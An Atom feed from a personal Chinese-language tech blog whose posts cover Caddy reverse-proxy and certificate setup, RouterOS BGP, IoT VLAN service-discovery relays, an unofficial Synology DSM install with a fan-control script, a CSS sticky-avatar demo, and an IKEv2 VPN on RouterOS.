<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="/feeds/atom-style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://vhvy.me/</id>
    <title>之乎者也</title>
    <updated>2026-09-17T14:33:28.091Z</updated>
    <generator>Astro-Theme-Retypeset with Feed for Node.js</generator>
    <author>
        <name>vhvy</name>
        <uri>https://vhvy.me/</uri>
    </author>
    <link rel="alternate" href="https://vhvy.me/"/>
    <link rel="self" href="https://vhvy.me/atom.xml"/>
    <subtitle>vhvy 's blog</subtitle>
    <rights>Copyright © 2026 vhvy</rights>
    <entry>
        <title type="html"><![CDATA[从 Nginx 迁移到 Caddy]]></title>
        <id>https://vhvy.me/2026/08/01/%E4%BB%8E%20Nginx%20%E8%BF%81%E7%A7%BB%E5%88%B0%20Caddy/</id>
        <link href="https://vhvy.me/2026/08/01/%E4%BB%8E%20Nginx%20%E8%BF%81%E7%A7%BB%E5%88%B0%20Caddy/"/>
        <updated>2026-08-01T12:42:00.000Z</updated>
        <summary type="html"><![CDATA[我的家庭内网中部署了若干 http 服务，为了使用方便，统一使用 Nginx 做了反代以及 https 证书分配，最近我发现 Caddy 在...]]></summary>
        <content type="html"><![CDATA[<p>我的家庭内网中部署了若干 http 服务，为了使用方便，统一使用 Nginx 做了反代以及 https 证书分配，最近我发现 Caddy 在我的使用场景下比 Nginx 更简洁、方便管理。</p>
<h2>After</h2>
<p>我的家庭内网是在 2024 年搭建的，当时为了给 Nginx 反代配置 h3 和 https 证书自动更新，费了好大一番手脚。 尤其是这个 https 证书自动更新，更是让我吃了一番苦头。</p>
<p>刚开始我便尝试使用过 Traefik 和 Caddy，因为它们两可以自动托管并更新 https 证书。我的域名托管在 Cloudflare 上，因此需要通过 DNS-01 来生成证书。</p>
<p>但在初期的部署过程中，Traefik、Caddy、ACME.sh 都存在获取不到 DNS 记录导致超时的问题，我百般排查不得其解。</p>
<p>排查良久后认为是 DNS 的问题，使用 AI 结合 go-acme 做了一个生成 https 证书的网关程序：<a href="https://github.com/vhvy/acme-gateway-go">https://github.com/vhvy/acme-gateway-go</a> 。</p>
<p>原理也很简单，在 Docker 容器内通过 iptables 劫持 lego 客户端的 DNS 请求，强制递归转发给 Cloudflare 的 DoH，以便获取最新的 DNS 记录信息。</p>
<p>问题虽然是解决了，但我总觉得这套配置太过冗余，直到前不久，我发现了 Caddy 的 <code>propagation_timeout</code> 参数。</p>
<h2>Before</h2>
<p>Caddy 的 <code>propagation_timeout</code> 参数可以跳过 DNS 传播检查，直接让 ACME 服务器去 Cloudflare 那边查询，免去了本地 DNS 各种异常的问题。</p>
<p>说干就干，结合 AI 花了半小时将 Nginx 迁移到了 Caddy，不得不说 Caddy 的配置真的是简洁，<code>h3</code>、<code>websockets</code> 不用任何额外配置，https 证书续期配置也非常方便，Caddy 真好用！</p>
<p>需要注意的是，Caddy 没有直接集成 Cloudflare 的 DNS Challenge 服务，需要手动编译，或者使用社区提供的 Docker 镜像： <code>ghcr.io/caddy-dns/cloudflare</code></p>
<p>在内网环境下，还可以使用静态文件服务提供生成的泛域名证书，让一些不需要反代的服务如 Mikrotik Web 服务、群晖 NAS 等也可以方便的定时拉取并更新证书。</p>
<p>这里贴一下我的大概配置：</p>
<p>Docker compose 配置文件：</p>
<pre><code>services:
  caddy:
    image: ghcr.io/caddy-dns/cloudflare:v0.2.4
    container_name: caddy
    restart: unless-stopped
    network_mode: host
    env_file: ./.env
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile:ro
      - ./data:/data
      - ./config:/config
</code></pre>
<p>Caddy 配置文件：</p>
<pre><code>{
  email example@example.com
}

(cf) {
  tls {
    dns cloudflare {env.CF_API_TOKEN}
    propagation_delay 60s
    propagation_timeout -1
  }
}

(insecure_tls) {
  transport http {
    tls_insecure_skip_verify
  }
}

*.example.com {
  import cf
  abort
}

demo.example.com {
  reverse_proxy 192.168.1.111:36180
}

demo2.example.com {
  redir / /web 301
  reverse_proxy https://192.168.1.112:44233 {
    import insecure_tls
  }
}

# curl https://ssl.example.com/example.com/cert.key
# curl https://ssl.example.com/example.com/cert.crt

ssl.example.com {
  root * /data/caddy/certificates/acme-v02.api.letsencrypt.org-directory

  @cert {
    remote_ip 192.168.1.0/24
    header X-Token "THISISMYTOKEN"
    path_regexp c ^/([^/]+)/cert\.(crt|key)$
  }

  handle @cert {
    rewrite * /wildcard_.{re.c.1}/wildcard_.{re.c.1}.{re.c.2}
    file_server
  }

  handle {
    respond 404
  }
}

</code></pre>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2026-08-01T12:42:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[RouterOS 通过 BGP 实现动态路由部署]]></title>
        <id>https://vhvy.me/2026/07/03/RouterOS%20%E9%80%9A%E8%BF%87%20BGP%20%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E8%B7%AF%E7%94%B1%E9%83%A8%E7%BD%B2/</id>
        <link href="https://vhvy.me/2026/07/03/RouterOS%20%E9%80%9A%E8%BF%87%20BGP%20%E5%AE%9E%E7%8E%B0%E5%8A%A8%E6%80%81%E8%B7%AF%E7%94%B1%E9%83%A8%E7%BD%B2/"/>
        <updated>2026-07-03T20:45:00.000Z</updated>
        <summary type="html"><![CDATA[在不久前我遇到了这样一个需求：A、B 两地的 ROS 路由器通过 WireGuard 连接，B 地需要通过 A 来访问某些仅连接到 A 路由...]]></summary>
        <content type="html"><![CDATA[<p>在不久前我遇到了这样一个需求：A、B 两地的 ROS 路由器通过 WireGuard 连接，B 地需要通过 A 来访问某些仅连接到 A 路由器的网段，这些网段可能会变化，手动为 B 添加路由信息太过麻烦，于是我想到了用 BGP 解决这个问题。</p>
<h2>前言</h2>
<p>由于实际配置完成已经过去了一段时间，我是凭着回忆写下的这段文字，因此部分细节可能存在问题。如果文中有错误的地方，还请多多包涵，也可以通过电子邮件(见侧栏)来告知我，方便我及时修正，感谢！</p>
<h2>IPIP 隧道</h2>
<p>由于 WireGuard 会通过 AllowedIPs 做入站路由过滤，因此通过 WG 隧道宣告 BGP 路由之后，还需要手动调整 AllowedIPs。由于某些原因，我只能通过 WG 隧道连接两地。因此，我在 WG 隧道之上，又运行了一条 IP 隧道，通过 IP 隧道进行路由宣告和路由转发，避开了 WG 隧道 AllowedIPs 的限制。</p>
<pre><code>/interface/ipip
add name=ipip-to-b local-address=&lt;WG本地地址&gt; remote-address=&lt;WG对端地址&gt;
/ip/address
add address=192.168.55.1/30 interface=ipip-to-b
</code></pre>
<p>目前两机的路由信息如下：</p>
<table>
<thead>
<tr>
<th>路由器</th>
<th>网关地址</th>
<th>隧道地址</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>192.168.66.1</td>
<td>192.168.55.1</td>
</tr>
<tr>
<td>B</td>
<td>192.168.77.1</td>
<td>192.168.55.2</td>
</tr>
</tbody>
</table>
<h2>新增动态路由条目</h2>
<p>我们需要在 A 路由器上维护一个网段表，包含要发布到 B 的路由条目，供之后 BGP 配置中使用。</p>
<pre><code>/ip/firewall/address-list
add list=bgp-networks address=10.9.0.0/24
add list=bgp-networks address=10.10.0.0/24
</code></pre>
<h2>新增 BGP 过滤规则</h2>
<p>如果不添加 BGP 过滤规则，BGP 会将 A 的所有路由信息发布到 B，容易造成奇怪的网络问题，因此我们需要在 A 上编写过滤规则，让 BGP 只发布我们要发布的网段。</p>
<pre><code>/routing/filter/rule
add chain=BGP-OUTPUT rule="if (dst in bgp-networks) { accept; }"
add chain=BGP-OUTPUT rule="reject;"
</code></pre>
<p>当 BGP 进行路由宣告时，会由上面的脚本进行过滤，大意为：如果要发布的网段在指定网段表内，允许宣告；否则则拒绝宣告。脚本中的 <code>bgp-networks</code> 引用的是网段表中的 <code>bgp-networks</code>。</p>
<h2>新建 BGP 连接</h2>
<p>首先在 A 机新建一个 BGP 实例，<code>router-id</code> 填写局域网网关地址即可，<code>AS</code>号可以自己写。</p>
<pre><code>/routing/bgp/instance
add name=bgp-instance router-id=192.168.66.1 as=65001
</code></pre>
<p>B 机也是一样，<code>AS</code> 号注意和 A 机要不同。</p>
<pre><code>/routing/bgp/instance
add name=bgp-instance router-id=192.168.77.1 as=65002
</code></pre>
<p>然后先在 A 机新建 BGP 连接：</p>
<pre><code>/routing/bgp/connection
add name=to-b-bgp instance=bgp-instance remote.address=192.168.55.2/32 remote.as=65002 local.role=ebgp routing-table=main output.network=bgp-networks output.filter-chain=BGP-OUTPUT
</code></pre>
<p><code>remote.address</code> 是对端 B 机的隧道地址，<code>remote.as</code> 是 B 机的 AS 号。</p>
<p>然后在 B 机新建 BGP 连接：</p>
<pre><code>/routing/bgp/connection
add name=to-a-bgp instance=bgp-instance remote.address=192.168.55.1/32 remote.as=65001 local.role=ebgp routing-table=main
</code></pre>
<p>B 机的这段命令中，<code>remote.address</code> 是对端 A 机的隧道地址，<code>remote.as</code> 是 A 机的 AS 号。</p>
<p>完成上述操作后，在<code>BGP Session</code>中就能看到建立的 BGP 连接，在 B 机<code>路由表</code>中也能看到 A 机宣告的路由地址。</p>
<pre><code>/routing/bgp/session/print
/ip/route/print
</code></pre>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2026-07-03T20:45:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[解决 RouterOS IoT 网络隔离下 mDNS 和 DLNA 的服务发现问题]]></title>
        <id>https://vhvy.me/2025/11/12/%E8%A7%A3%E5%86%B3%20RouterOS%20IoT%20%E7%BD%91%E7%BB%9C%E9%9A%94%E7%A6%BB%E4%B8%8B%20mDNS%20%E5%92%8C%20DLNA%20%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%8F%91%E7%8E%B0%E9%97%AE%E9%A2%98/</id>
        <link href="https://vhvy.me/2025/11/12/%E8%A7%A3%E5%86%B3%20RouterOS%20IoT%20%E7%BD%91%E7%BB%9C%E9%9A%94%E7%A6%BB%E4%B8%8B%20mDNS%20%E5%92%8C%20DLNA%20%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%8F%91%E7%8E%B0%E9%97%AE%E9%A2%98/"/>
        <updated>2025-11-12T21:00:00.000Z</updated>
        <summary type="html"><![CDATA[随着现代家庭中存在的各种智能家居设备日益增多，对家庭网络安全和隐私保护提出了新的挑战。因此，将家庭局域网络和 IoT 网络进行隔离已成为一种...]]></summary>
        <content type="html"><![CDATA[<p>随着现代家庭中存在的各种智能家居设备日益增多，对家庭网络安全和隐私保护提出了新的挑战。因此，将家庭局域网络和 IoT 网络进行隔离已成为一种必要手段。然而，隔离网络后，一些依赖 mDNS 和 DLNA 协议的智能设备可能无法正常发现和互联，这就带来了实际应用中的困扰。</p>
<h2>前言</h2>
<p>在保证家庭网络和 IoT 网络隔离的前提下，如果希望两者之间的设备发现服务仍能正常工作，可以在一台同时连接两个网络的主机上部署中继服务，将一个网络中的发现协议流量转发到另一个网络，实现跨网段通信。</p>
<h2>调试工具</h2>
<p>在部署中继服务时，可以使用如下工具排查和验证网络中的设备服务。</p>
<ul>
<li>avahi-browse
<ul>
<li>用来扫描局域网内的 mDNS 服务</li>
<li>e.g:  <code>avahi-browse -a</code></li>
</ul>
</li>
<li>upnpc
<ul>
<li>用来扫描局域网内的 DLNA 服务</li>
<li>e.g:  <code>upnpc -s</code></li>
</ul>
</li>
</ul>
<h2>IoT 网段隔离</h2>
<p>这里贴一下我的 RouterOS 防火墙 filter 配置，附带注释供各位参考：</p>
<pre><code># 放行所有已放行的连接
;;; accept established,related
chain=forward action=accept connection-state=established,related log=no log-prefix="" 

# 允许主局域网主动访问 IoT 网络
;;; allow LAN access IoT
chain=forward action=accept in-interface=br0 out-interface=iot-br1 log=no log-prefix="" 

# 禁止除了 pppoe-out 之外所有网络访问 IoT 网络
;;; block access IOT
chain=forward action=drop in-interface=!pppoe-out1 out-interface=iot-br1 log=no log-prefix="" 

# 放行来自 IoT 网络主动发起的 DLNA 请求，兼容小米音箱
;;; allow IoT DLNA
chain=forward action=accept protocol=udp in-interface=iot-br1 out-interface=br0 src-port=1900 log=no log-prefix="" 

# 禁止 IoT 网络主动访问除 pppoe-out 之外的所有网络
;;; block IOT access LAN
chain=forward action=drop in-interface=iot-br1 out-interface=!pppoe-out1 log=no log-prefix="" 
</code></pre>
<h2>mDNS 中继</h2>
<p>从 RouterOS 7.x 开始，系统内置了 mDNS Repeater 功能，可直接在需要互通的接口上进行配置：</p>
<pre><code>/ip/dns set mdns-repeat-ifaces=br0,iot-br1
</code></pre>
<h2>DLNA 中继</h2>
<p>DLNA 基于 SSDP 协议，不依赖 mDNS 协议。Github 上有一个开源程序可以用于中继 SSDP、mDNS 流量（本文仅解释看 SSDP 中继）：</p>
<p>仓库链接：<a href="https://github.com/marjohn56/udpbroadcastrelay">https://github.com/marjohn56/udpbroadcastrelay</a></p>
<p>首先 clone 仓库到本地，编译之后将程序复制到 <code>/usr/local/bin</code>目录中：</p>
<h3>安装与编译</h3>
<pre><code>git clone https://github.com/marjohn56/udpbroadcastrelay.git
cd udpbroadcastrelay
make
sudo cp udpbroadcastrelay /usr/local/bin/
</code></pre>
<h3>创建 systemd 服务</h3>
<p>创建 <code>/etc/systemd/system/udprelay.service</code>文件，便于管理</p>
<pre><code>[Unit]
Description=UDP Broadcast Relay
After=network-online.target
Wants=network-online.target

[Service]
ExecStart=/usr/local/bin/udpbroadcastrelay --id 1 --port 1900 --dev eth1 --dev eth0 --multicast 239.255.255.250 --msearch dial
Restart=always
User=root

[Install]
WantedBy=multi-user.target
</code></pre>
<p>启动并设置开机自启：</p>
<pre><code>systemctl enable udprelay
systemctl start udprelay
</code></pre>
<p>至此，SSDP 中继已经成功部署，两条隔离网络的 DLNA 设备可互相发现并通信。</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2025-11-12T21:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[麦田云盒 1S Pro 安装黑群晖]]></title>
        <id>https://vhvy.me/2025/06/19/%E9%BA%A6%E7%94%B0%E4%BA%91%E7%9B%92%201S%20Pro%20%E5%AE%89%E8%A3%85%E9%BB%91%E7%BE%A4%E6%99%96/</id>
        <link href="https://vhvy.me/2025/06/19/%E9%BA%A6%E7%94%B0%E4%BA%91%E7%9B%92%201S%20Pro%20%E5%AE%89%E8%A3%85%E9%BB%91%E7%BE%A4%E6%99%96/"/>
        <updated>2025-06-19T19:00:00.000Z</updated>
        <summary type="html"><![CDATA[我之前一直在一台 N5105 的小主机上通过 PVE 来运行 Docker 和黑群晖，随着存储内容的增加，原本的单盘位显得捉襟见肘起来；在闲...]]></summary>
        <content type="html"><![CDATA[<p>我之前一直在一台 N5105 的小主机上通过 PVE 来运行 Docker 和黑群晖，随着存储内容的增加，原本的单盘位显得捉襟见肘起来；在闲鱼闲逛之时，看到了一台叫做麦田云盒 1S Pro 的小主机，配置刚好满足了我的需求，遂入手之~</p>
<h2>配置</h2>
<p>这台机器入手时的配置如下：</p>
<ul>
<li>J4125</li>
<li>单条4G（D4 双内存插槽）</li>
<li>双2.5G网口</li>
<li>双3.5盘位</li>
<li>256G nvme thinkplus m2 SSD</li>
<li>板载 32G emmc</li>
<li>被动散热</li>
<li>后置 8025 3pin DC风扇，但风扇接口为 4pin，可以更换 4pin pwm 风扇</li>
<li>DC 供电，60W 群联外置电源</li>
</ul>
<p>软件方面，这台机器是由万由代工，内置了万由的 U-NAS OS，我对它不感兴趣，直接安装了黑群晖。</p>
<p>这台机器后置了一个 8025 3pin arctic 风扇，噪音十分巨大，我换了一个利民 TL-B8 8025 风扇上去；更换风扇时需要将机器整个后挡板拆下来，否则风扇排线无法穿过。</p>
<h2>将黑群晖引导写入板载 EMMC</h2>
<p>现在黑群晖安装已经非常简单，按照 <a href="https://rrorg.cn/archives/Use%20guide">https://rrorg.cn/archives/Use%20guide</a> 的指引，可以几乎做到一键安装。</p>
<p>这台机器内置了 <code>32G EMMC</code> ，我们可以将 <code>RR</code> 的引导写入该存储设备中，免去了使用 U 盘作为引导设备占用一个 USB 接口的问题。</p>
<p>要将引导写入 EMMC 中，可以先使用 U 盘进入 Linux Live 系统，使用 <code>dd</code> 命令将 <code>RR</code> 引导的 <code>IMG</code> 文件写入 EMMC 设备。命令如下：</p>
<pre><code># 请自行替换命令中引导文件和 EMMC 设备对应的路径
dd if=/rr.img of=/dev/mmcblk0 bs=4M
</code></pre>
<p>写入完成后，重启设备并拔掉 Linux Live 的 U 盘，开机后按照上述链接中的指引进行安装即可。</p>
<h2>风扇自动调速</h2>
<p>BIOS 本身不支持调速，只有通过机器内置的 U-NAS 才能实现调速。针对这个限制，网上早有前辈给出了解决方案：可以通过 <code>i2cset</code> 命令来设置风扇转速，实现调速功能。</p>
<p>由于群晖系统被阉割过，无法直接安装 <code>i2cset</code> 等命令，因此需要先安装 <code>entware</code> 这个软件仓库。</p>
<p>在群晖上安装 <code>entware</code> 可以参考官方教程：<a href="https://github.com/Entware/Entware/wiki/Install-on-Synology-NAS">https://github.com/Entware/Entware/wiki/Install-on-Synology-NAS</a></p>
<p><code>entware </code> 安装完成之后，可以通过以下命令来安装调速用到的软件包：</p>
<pre><code># sensor      这个程序用来读取 CPU 温度
# i2c-tools   这个程序用来设置风扇转速
opkg install lm-sensors i2c-tools
</code></pre>
<p>安装完成之后，我们便可以实现根据实时温度对风扇进行调速了。完整的脚本附在正文最后，有需要的朋友可以参考，具体思路如下：</p>
<ul>
<li>使用 <code>smartctl</code> 来读取两块硬盘的温度</li>
<li>求出两块硬盘温度中的最高温度</li>
<li>使用 <code>sensors</code> 得出 CPU 核心的温度</li>
<li>求出硬盘和 CPU 之间的最高温度</li>
<li>使用温度计算出风扇转速，范围为 <code>0x00 ~ 0xFF</code>，即最大值 255
<ul>
<li>实际上设置的是  PWM 占空比，而不是风扇转速</li>
</ul>
</li>
<li>读取当前的风扇转速</li>
<li>对比本次计算出的风扇转速和实际风扇转速差异值</li>
<li>若差异值大于 10 时，调节风扇转速并写入缓存文件
<ul>
<li>这一步是为了避免温度的细小波动使得风扇频繁调整转速</li>
</ul>
</li>
<li>在群晖的 WebUI 中添加以 root 身份运行的定时任务，每分钟执行一次</li>
</ul>
<pre><code>#!/bin/sh

# Hard disk temperature
disk_temp1=$(smartctl --all /dev/sda | grep Temperature_Celsius | awk '{print $10}')
disk_temp2=$(smartctl --all /dev/sdb | grep Temperature_Celsius | awk '{print $10}')
disk_temp1=${disk_temp1:-40}
disk_temp2=${disk_temp2:-40}
max_disk_temp=$(( disk_temp1 &gt; disk_temp2 ? disk_temp1 : disk_temp2 ))

echo "Disk temperature: $max_disk_temp"

# CPU temperature
cpu_temp=$(sensors | grep 'Physical id 0' | awk '{printf "%d", $4}')
cpu_temp=${cpu_temp:-40}
echo "CPU temperature: $cpu_temp"

max_temp=$(( max_disk_temp &gt; cpu_temp ? max_disk_temp : cpu_temp ))
echo "Max temperature: $max_temp"

get_fan_speed() {
  local temp=$1
  if (( temp &lt; 40 )); then
      echo 80
  elif (( temp &gt; 70 )); then
      echo 255
  else
      # 线性插值
      echo $(( (temp - 40) * (255 - 80) / (70 - 40) + 80 ))
  fi
}

fan_speed=$(get_fan_speed $max_temp)
echo "Fan speed: $fan_speed"

last_fan_speed_hex=$(i2cget -y 0 0x54 0xf0)
last_fan_speed=$(( last_fan_speed_hex ))
echo "Last fan speed: $last_fan_speed"
# diff between last and current fan speed
diff=$(( fan_speed &gt; last_fan_speed ? fan_speed - last_fan_speed : last_fan_speed - fan_speed ))

if (( diff &lt; 10 )); then
  echo "Diff is less than 10, do nothing"
else
  echo "Set fan speed to $fan_speed"
  i2cset -y 0 0x54 0xf0 $fan_speed
  echo "$(date '+%F %T') Temp=$max_temp Fan=$fan_speed Diff=$diff" &gt;&gt; /var/log/fan_control.log
fi
</code></pre>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2025-06-19T19:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[实现 Telegram 页面滚动时头像的吸附效果]]></title>
        <id>https://vhvy.me/2025/03/18/%E5%AE%9E%E7%8E%B0%20Telegram%20%E9%A1%B5%E9%9D%A2%E6%BB%9A%E5%8A%A8%E6%97%B6%E5%A4%B4%E5%83%8F%E7%9A%84%E5%90%B8%E9%99%84%E6%95%88%E6%9E%9C/</id>
        <link href="https://vhvy.me/2025/03/18/%E5%AE%9E%E7%8E%B0%20Telegram%20%E9%A1%B5%E9%9D%A2%E6%BB%9A%E5%8A%A8%E6%97%B6%E5%A4%B4%E5%83%8F%E7%9A%84%E5%90%B8%E9%99%84%E6%95%88%E6%9E%9C/"/>
        <updated>2025-03-18T19:30:00.000Z</updated>
        <summary type="html"><![CDATA[Telegram 聊天窗口滚动时，消息块中的用户头像会吸附在页面底部，直至所在的消息块离开窗口底部；向上滚动时，头像会出现有趣的头像堆积效果...]]></summary>
        <content type="html"><![CDATA[<p>Telegram 聊天窗口滚动时，消息块中的用户头像会吸附在页面底部，直至所在的消息块离开窗口底部；向上滚动时，头像会出现有趣的头像堆积效果；我很好奇这个效果是怎么实现的，于是就有了今天这篇文章。</p>
<h2>原理剖析</h2>
<p>其实实现这个效果的原理很简单，粘性定位元素会相对于离它最近的可滚动容器进行定位，同时又会受到父元素显示范围的约束。利用这个特性可以很方便的实现头像吸附的效果，更多原理可以看张鑫旭老师的博客：<a href="https://www.zhangxinxu.com/wordpress/2020/03/position-sticky-rules/">https://www.zhangxinxu.com/wordpress/2020/03/position-sticky-rules/</a></p>
<p>具体来说，给头像所在的<code>img</code>元素添加<code>position: sticky</code>，同时设置<code>bottom: 0</code>；这样一来，头像会吸附在离它最近的可滚动容器底部，直至头像所在的消息块彻底离开页面底部时才停止吸附。</p>
<h2>Code</h2>
<pre><code>&lt;style&gt;
  .wrapper {
    width: 400px;
    height: 600px;
    border: 1px solid #000;
    margin: 100px auto;
    padding: 10px;
    overflow-y: auto;
  }

  .item {
    border: 1px solid rgb(138, 55, 55);
    display: flex;
    border-radius: 10px;
    margin-bottom: 10px;
  }

  .img-wrapper {
    display: flex;
    align-items: flex-end;
    /* 使 img 元素默认在消息块底部对齐 */

    margin-inline: 10px;
  }

  p {
    margin: 0;
  }

  .img-wrapper img {
    width: 40px;
    height: 40px;
    object-fit: cover;
    border-radius: 50%;

    position: sticky;
    bottom: 0;
    /* 吸附在离它最近的可滚动容器底部 */
  }
&lt;/style&gt;

&lt;div class="wrapper"&gt;
  &lt;div class="item"&gt;
    &lt;div class="img-wrapper"&gt;
      &lt;img src="/logo_new.png" /&gt;
    &lt;/div&gt;
    &lt;p&gt;hello world! hello world! hello world! hello world! hello world! hello world! hello world! hello world! hello
      world! hello world! hello world! hello world! hello world! hello world! hello world! &lt;/p&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
  const wrapper = document.querySelector(".wrapper");
  const str = Array.from(new Array(20)).map(() =&gt; wrapper.innerHTML).join("");
  wrapper.innerHTML = str;
&lt;/script&gt;
</code></pre>
<h2>最终效果</h2>
<p>&lt;div style="width: 320px;"&gt;</p>
<p><img src="https://s2.loli.net/2025/03/18/MxfaCZb2Tp8KDNc.gif" alt="anim.gif" /></p>
<p>&lt;/div&gt;</p>
]]></content>
        <author>
            <name>vhvy</name>
            <uri>https://vhvy.me/</uri>
        </author>
        <published>2025-03-18T19:30:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[在 RouterOS 上搭建 IKEv2 VPN]]></title>
        <id>https://vhvy.me/2024/11/23/%E5%9C%A8%20RouterOS%20%E4%B8%8A%E6%90%AD%E5%BB%BA%20IKEv2%20%E6%9C%8D%E5%8A%A1/</id>
        <link href="https://vhvy.me/2024/11/23/%E5%9C%A8%20RouterOS%20%E4%B8%8A%E6%90%AD%E5%BB%BA%20IKEv2%20%E6%9C%8D%E5%8A%A1/"/>
        <updated>2024-11-23T22:13:00.000Z</updated>
        <summary type="html"><![CDATA[因为有在外时连回家中内网的需求，研究了一下决定使用 IKEv2 来实现；鉴于我没有公网 IP，只能使用 IPv6 来进行连接；研究一番之后成...]]></summary>
        <content type="html"><![CDATA[<p>因为有在外时连回家中内网的需求，研究了一下决定使用 IKEv2 来实现；鉴于我没有公网 IP，只能使用 IPv6 来进行连接；研究一番之后成功实现了，特此记录一下。</p>
<h2>相关条件</h2>
<p>我的路由器型号是<code>RB4011</code>，经过测试的其他设备包含<code>iPhone</code>和<code>Windows</code>平台，其他平台尚未测试，但想来可以通用本文的教程，大家可以自行尝试。</p>
<p>我的设备型号和软件版本如下：<code>Mikrotik RB4011 / RouterOS 7.16.1</code>，<code>iPhone 15 / iOS 18.1</code>，<code>Windows 10 22H2</code>。</p>
<h2>配置证书</h2>
<p>首先需要在<code>RouterOS</code>上配置证书，包含一张<code>CA证书</code>、一张路由器用的<code>服务端证书</code>、和若干张客户端用的<code>证书</code>，除了<code>Windows</code>平台的证书生成参数不一样之外，其他平台的都是一样的。</p>
<pre><code># 生成CA证书
/certificate/add name=IKEv2-CA common-name=IKEv2-CA days-valid=3650 \
  key-usage=digital-signature,key-encipherment,data-encipherment,key-cert-sign,crl-sign,tls-client,tls-server

# 生成路由器服务端证书
# subject-alt-name: 换成指向 RouterOS 路由器的域名
/certificate/add name=IKEv2-Server common-name=IKEv2-Server days-valid=3650 \
  key-usage=tls-server,digital-signature subject-alt-name=DNS:go.vhvy.me

# 生成 iOS 使用的证书，除 Windows 之外其他平台也可以使用这条脚本（我猜的
#subject-alt-name: 换成自己的子域名，不解析或者不存在也可以
/certificate/add name=IKEv2-iOS common-name=IKEv2-iOS days-valid=3650 key-usage=tls-client,digital-signature subject-alt-name=DNS:ios.vhvy.me

# 生成 Windows 使用的证书
# 注意 Windows 没有 subject-alt-name 参数 
/certificate/add name=IKEv2-Win common-name=IKEv2-Win days-valid=3650 key-usage=tls-client,digital-signatur
</code></pre>
<p>生成证书后要用<code>CA证书</code>对其他证书进行签名并确认。</p>
<pre><code># 首先对 CA证书签名，然后使用 CA 证书依次对其他证书进行签名
/certificate/sign IKEv2-CA
/certificate/sign ca=IKEv2-CA IKEv2-Server
/certificate/sign ca=IKEv2-CA IKEv2-iOS
/certificate/sign ca=IKEv2-CA IKEv2-Win

# 然后依次进行信任，CA 证书已经默认信任了
/certificate/set trusted=yes IKEv2-Server
/certificate/set trusted=yes IKEv2-iOS
/certificate/set trusted=yes IKEv2-Win
</code></pre>
<p>然后导出<code>CA</code>证书和各个客户端的证书，导出后使用<code>WinBox</code>下载到本地供后续使用。</p>
<pre><code># 12345678 是客户端导入时用到的密码，可以自行修改
# 导出后 WinBox / Files 下面应该有一个后缀为 crt 的 CA 证书以及若个干 p12 后缀的客户端证书
/certificate/export-certificate IKEv2-CA
/certificate/export-certificate export-passphrase=12345678 type=pkcs12 IKEv2-iOS
/certificate/export-certificate export-passphrase=12345678 type=pkcs12 IKEv2-Win
</code></pre>
<h2>配置 IKEv2</h2>
<p>虽然搭建的是<code>IKEv2</code>，但是实际上是在<code>IPSec</code>模块中进行相关配置的。</p>
<pre><code># 首先创建分配 IP 的池子，IP范围可以自行修改
# 如果修改了 IP 范围，请自行计算子网掩码，并修改后续步骤中的子网掩码
# 可以用这个工具计算: https://tool.chinaz.com/tools/subnetmask
/ip/pool/add name=IKEv2-Pool ranges=192.168.230.1-192.168.230.14
</code></pre>
<p>接下来配置 <code>IPSec</code> 相关，这段是重点，请注意看注释内容。</p>
<pre><code># address-prefix-length: 如果修改了 IP 范围，请修改此参数为对应的子网掩码
# static-dns: 提供给客户端的 DNS 服务器，可以自行设定
# split-include: 要推送给客户端的路由，默认为 0.0.0.0/0，可以设定多条，用逗号分隔
# 如果没有设置该参数，则客户端将会把所有流量通过 IKEv2 隧道发送到 RouterOS这边
# 如果设定了该参数，则客户端只会将指定的网段通过 IKEv2 隧道发送到 RouterOS这边
# 示例中我就仅将我局域网内的网段推送给了客户端
/ip ipsec mode-config
add address-pool=IKEv2-Pool address-prefix-length=28 name=IKEv2-CFG static-dns=192.168.233.233 \
  system-dns=no split-include=192.168.233.0/24,192.168.232.0/24

#---------------这段照抄---------------#

/ip ipsec policy group
add name=IKEv2-Group

/ip ipsec profile
add enc-algorithm=aes-256,aes-128 hash-algorithm=sha256 name=IKEv2-profile1

/ip ipsec peer
add exchange-mode=ike2 name=IKEv2-Peer passive=yes profile=IKEv2-profile1

/ip ipsec proposal
add auth-algorithms=sha256,sha1 enc-algorithms=aes-256-cbc,aes-128-cbc lifetime=1d name=IKEv2-proposal1 pfs-group=none

#-------------------------------------#

# dst-address: 设置为上面 IKEv2-Pool 的网段
/ip ipsec policy
add dst-address=192.168.230.0/28 group=IKEv2-Group proposal=IKEv2-proposal1 src-address=0.0.0.0/0 template=yes


# 这段是用来配置和对端的验证方式的，iOS 和 Windows 客户端略有差别
/ip ipsec identity

# my-id: iOS 对端设置中需要将该参数中的域名设置为生成路由器服务端证书时用到的域名
#        即换成指向 RouterOS 路由器的域名
add auth-method=digital-signature certificate=IKEv2-Server generate-policy=\
    port-strict match-by=certificate mode-config=IKEv2-CFG peer=IKEv2-Peer \
    policy-template-group=IKEv2-Group remote-certificate=IKEv2-iOS my-id=fqdn:go.vhvy.me

add auth-method=digital-signature certificate=IKEv2-Server generate-policy=\
    port-strict match-by=certificate mode-config=IKEv2-CFG peer=IKEv2-Peer \
    policy-template-group=IKEv2-Group remote-certificate=IKEv2-Win

</code></pre>
<p><code>IKEv2</code>会用到<code>500</code>和<code>4500</code>的<code>UDP</code>端口，需要在防火墙中放行，这段按照自己的需求进行修改。</p>
